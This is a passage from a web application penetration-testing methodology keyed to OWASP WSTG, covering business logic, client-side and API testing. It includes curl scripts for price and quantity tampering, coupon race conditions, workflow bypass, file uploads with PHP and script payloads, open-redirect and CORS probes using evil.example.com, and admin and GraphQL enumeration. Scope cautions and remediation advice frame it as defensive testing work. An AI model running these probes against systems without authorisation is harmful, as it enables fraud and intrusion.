-H 'Content-Type: application/json' \
-d '{"product_id":1,"quantity":-1}' 2>/dev/null
curl -sS --max-time 10 -X POST "https://${TARGET}/checkout" \
-H 'Content-Type: application/json' \
-d '{"items":[{"product_id":1,"price":0.01,"quantity":1}]}' 2>/dev/null
10.2 Forge Requests (WSTG-BUSL-02)
curl -sS --max-time 10 -X POST "https://${TARGET}/checkout/apply-coupon" \
-H 'Content-Type: application/json' \
-d '{"coupon":"FREE100"}' 2>/dev/null
10.3 Integrity Checks (WSTG-BUSL-03)
Inspect whether price, quantity, and discount values in requests are
validated against server-side values. Modify them in transit and observe.
10.4 Process Timing (WSTG-BUSL-04)
for i in $(seq 1 5); do
curl -sS --max-time 10 -X POST "https://${TARGET}/cart/apply-coupon" \
-H 'Content-Type: application/json' \
-d '{"coupon":"LIMITED10"}' -o /dev/null -w '%{http_code} ' 2>/dev/null &
done; wait; echo
10.6 Circumvent Workflows (WSTG-BUSL-06)
for step in /checkout/payment /checkout/confirm /checkout/complete /order/place; do
code=$(curl -sS --max-time 10 "https://${TARGET}${step}" \
-H 'Cookie: session=VALID_SESSION' \
-o /dev/null -w '%{http_code}\n' 2>/dev/null)
echo "$step: $code"
sleep 1
done
10.8/10.9 File Upload (WSTG-BUSL-08/09)
echo '<?php phpinfo(); ?>' > /tmp/test.php
echo '<script>alert(1)</script>' > /tmp/test.html
echo '<svg/onload=alert(1)>' > /tmp/test.svg
for file in /tmp/test.php /tmp/test.html /tmp/test.svg; do
code=$(curl -sS --max-time 10 -X POST "https://${TARGET}/upload" \
-F "file=@${file}" -o /dev/null -w '%{http_code}\n' 2>/dev/null)
echo "$(basename $file): $code"
sleep 1
done
Pitfalls: File upload tests are state-changing. Only test on scope-approved
endpoints with inert content. Remove uploaded files afterward when possible.
Verification: Uploaded file is accessible and executes (PHP, JSP) or
renders (HTML, SVG) when requested through its URL.
Phase 11: Client-side Testing (WSTG-CLNT-01 through CLNT-15)
11.1 DOM XSS (WSTG-CLNT-01)
Use browser DevTools to trace data flow from source (URL, postMessage,
localStorage, document.cookie) to sink (innerHTML, document.write, eval,
location). Check for missing sanitization at each sink.
11.4 Client-side Redirect (WSTG-CLNT-04)
for param in redirect url next return_to goto target callback; do
curl -sS --max-time 10 \
"https://${TARGET}/login?${param}=https://evil.example.com" \
-o /dev/null -w '%{redirect_url}\n' 2>/dev/null
sleep 1
done
11.5 CSS Injection (WSTG-CLNT-05)
Injected CSS can exfiltrate data character-by-character via attribute
selectors and background-image URLs. Test inputs that appear in style
attributes or <style> blocks.
11.7 CORS (WSTG-CLNT-07)
curl -sS -D - --max-time 10 "https://${TARGET}/api/me" \
-H 'Origin: https://evil.example.com' -o /dev/null 2>&1 \
| grep -i 'access-control'
curl -sS -D - --max-time 10 "https://${TARGET}/api/me" \
-H 'Origin: null' -o /dev/null 2>&1 \
| grep -i 'access-control'
curl -sS -D - --max-time 10 "https://${TARGET}/api/me" \
-H 'Origin: https://evil.${TARGET}' -o /dev/null 2>&1 \
| grep -i 'access-control'
Verification: ACAO reflects the attacker origin AND ACAC is true AND the
endpoint returns user-specific data (not public information).
11.9 Clickjacking (WSTG-CLNT-09)
curl -sS -D - --max-time 10 "https://${TARGET}/" -o /dev/null 2>&1 \
| grep -iE 'x-frame-options|content-security-policy.*frame-ancestors'
Verification: Missing X-Frame-Options or CSP frame-ancestors on a page
with sensitive actions (login, settings, payment).
11.10 WebSockets (WSTG-CLNT-10)
curl -sS -D - --max-time 10 \
-H 'Connection: Upgrade' -H 'Upgrade: websocket' \
-H 'Origin: https://evil.example.com' \
-H 'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==' \
-H 'Sec-WebSocket-Version: 13' \
"https://${TARGET}/ws" -o /dev/null 2>&1
11.12 Browser Storage (WSTG-CLNT-12)
Inspect localStorage, sessionStorage, IndexedDB, and cookies for sensitive
data: tokens, API keys, PII, internal hostnames, feature flags that expose
unreleased functionality.
Phase 12: API Testing (WSTG-APIT-01 through APIT-99)
12.1 API Reconnaissance (WSTG-APIT-01)
for path in /openapi.json /swagger.json /swagger/v1/swagger.json \
/api-docs /api/swagger /api/v1/openapi.json /graphql \
/api/schema /redoc /docs /playground; do
code=$(curl -sS --max-time 10 "https://${TARGET}${path}" \
-o /dev/null -w '%{http_code}\n' 2>/dev/null)
[ "$code" != "404" ] && echo "$path: $code"
sleep 1
done
Verification: OpenAPI/Swagger document returns valid JSON with operations,
parameters, and authentication requirements.
12.2 Broken Object Level Authorization (WSTG-APIT-02)
See Phase 5.4 (IDOR). Test every object endpoint with two identities.
12.3 Excessive Data Exposure (WSTG-APIT-03)
For each API endpoint, compare the response fields between:
curl -sS --max-time 10 "https://${TARGET}/api/users/me" \
-H 'Authorization: Bearer USER_TOKEN' 2>/dev/null | python3 -m json.tool
12.4 Broken Function Level Authorization (WSTG-APIT-04)
for endpoint in /api/admin /api/users /api/config /api/logs /api/health \
/api/metrics /api/system /api/internal; do
code=$(curl -sS --max-time 10 "https://${TARGET}${endpoint}" \
-H 'Authorization: Bearer REGULAR_USER_TOKEN' \
-o /dev/null -w '%{http_code}\n' 2>/dev/null)
echo "$endpoint: $code"
sleep 1
done
12.99 GraphQL (WSTG-APIT-99)
curl -sS --max-time 10 -X POST "https://${TARGET}/graphql" \
-H 'Content-Type: application/json' \
-d '{"query":"{__schema{types{name,fields{name}}}}"}' 2>/dev/null
curl -sS --max-time 10 \
"https://${TARGET}/graphql?query=%7B__typename%7D" \
-o /dev/null -w '%{http_code}\n' 2>/dev/null
curl -sS --max-time 10 -X POST "https://${TARGET}/graphql" \
-H 'Content-Type: application/json' \
-d '{"query":"{user(id:1){namee}}"}' 2>/dev/null
Pitfalls
- A response code alone is not a finding. Verify body content.
- Old version strings do not prove exploitability.
- Automated scanners produce leads, not validated findings. Reproduce manually.
- Authorization findings require at least two identities with known ownership.
- WAF and rate limits may suppress probes. Vary timing and encoding.
- Third-party and shared-provider hosts need ownership review before testing.
- Do not infer a finding from a single response. Run positive and negative
controls.
Verification
For every reported finding, answer:
- What security property failed? Name the expected behavior.
- What did you observe? Include sanitized request and response.
- What controls confirm it? Positive control (expected), negative control
(excluded), and boundary control (adjacent value).
- What was NOT tested? Enumeration, production data, writes, persistence.
- Is it reproducible? Document exact steps with timing.
Run the final quality gate:
[ ] reproduction and controls work as documented
[ ] impact matches evidence; untested steps labeled
[ ] credentials and PII removed
[ ] remediation addresses the failed security control
Remediation by WSTG Category
| Category | Common fixes |
|---|
| INFO-* | Remove verbose headers, restrict metafiles, review page content |
| CONF-* | Disable unused methods, harden headers, restrict admin panels, remove backup files |
| IDNT-* | Uniform error messages, CAPTCHA on registration, strong password policy |
| ATHN-* | MFA, account lockout, secure password reset tokens, credential encryption |
| ATHZ-* | Server-side ownership checks, deny-by-default, role verification per request |
| SESS-* | Secure/HttpOnly/SameSite cookies, session regeneration, server-side invalidation |
| INPV-* | Parameterized queries, input validation, output encoding, CSP, sanitization |
| ERRH-* | Custom error pages, no stack traces in production, generic user-facing messages |
| CRYP-* | TLS 1.2+, strong ciphers, HSTS, forward secrecy, no hardcoded keys |
| BUSL-* | Server-side validation, workflow state enforcement, idempotency keys |
| CLNT-* | Strict CSP, frame-ancestors, CORS restrictions, DOM sanitization |
| APIT-* | Per-object authorization, field-level access control, disable introspection |